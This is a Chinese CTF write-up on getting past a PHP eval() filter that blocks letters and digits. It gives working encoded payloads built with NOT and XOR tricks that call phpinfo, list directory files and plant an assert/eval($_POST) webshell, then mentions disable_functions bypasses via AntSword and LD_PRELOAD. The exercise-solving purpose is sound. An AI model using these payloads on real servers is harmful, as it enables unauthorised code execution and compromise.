题目源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

过滤字母,数字,考虑url编码取反绕过、异或绕过(都是任意PHP版本适用)

原理

https://blog.csdn.net/mochu7777777/article/details/104631142

简单来说就是

异或绕过:未被禁用的字符异或后得到想要的字符,然后用.运算符拼接起来从而绕过。

url编码取反绕过:一些字符取反后可以得到想要的字符,但是这些字符通常是不可见的,所以要用URL编码一下才好编写payload。

PHP7特性:

phpinfo() php5/7都可执行
(phpinfo)() php7可执行

php7支持${}这种格式。${'GET'}=$GET

做题

先利用PHPinfo查看,禁用函数

?code=(~%8F%97%8F%96%91%99%90)();  //(phpinfo)();
?code=('%0b%08%0b%09%0e%06%0f'^'%7b%60%7b%60%60%60%60')();//(phpinfo)();
解析

由于是@eval($code);

我们传入 ?code=(~%8F%97%8F%96%91%99%90)(); 的时候对于PHP,形如 (func_name)(),其中func_name可以是字符串,会执行这个func

若是整个phpinfo()全部编码,则不会执行,因为PHP还没取反前不知道传入的是可以执行的,所以PHP先取反后不会执行。

补充:

既然可以构造函数。那么也可以构造readfile/scandir这种,一些简单的题。直接看flag
(~%89%9E%8D%A0%9B%8A%92%8F)=var_dump
(~%8C%9C%9E%91%9B%96%8D)=scandir
(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(%27./%27));
var_dump(scandir('./'))
如果./也被过滤。一样。通过~取反获得
注意(~%D1%D0)=./ 带括号的编码才等于字符串。
构造shell
目的构造:(assert)(eval($_POST['van']));

为什么不构造成assert($_POST['van']);,因为这样构造出来的是("assert")("$_POST['van']")
第二个括号还是字符串,而不会被执行
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
# %9E%8C%8C%9A%8D%8B : assert
# %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6 : eval($_POST[shell])
这样则执行顺序 先eval 后assert后eval,成功执行。
一些可以的
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
连上shell

看到flag readflag

readflag打开看完应该是一个可执行的文件,执行完应该就有flag。

但是由于disable_function,所以要进行绕过

法一

利用蚁剑插件绕过disable_function,得翻墙下载,或者网上找资源,其次是在Linux下使用的。所以在kali安装后直接使用,使用后进入蚁剑终端执行/readflag即可

法二

看不大懂。不过理解就是编写恶意文件恶意函数,使系统在执行一个进程时候将优先级更高的恶意文件恶意函数先进行调用。

var/tmp有上传权限,可以上传恶意

难难,,挖坑待补。。

原理:

https://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/#bypass-disable-functions

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

参考:

https://blog.csdn.net/qq_45699846/article/details/123388028

https://blog.csdn.net/m0_62879498/article/details/124803318

https://blog.csdn.net/qq_45521281/article/details/105656737

https://guokeya.github.io/post/hwKOeu6uW/

https://www.cnblogs.com/yesec/p/12483631.html

https://www.anquanke.com/post/id/175403#h2-0

https://www.cnblogs.com/leixiao-/p/10612798.html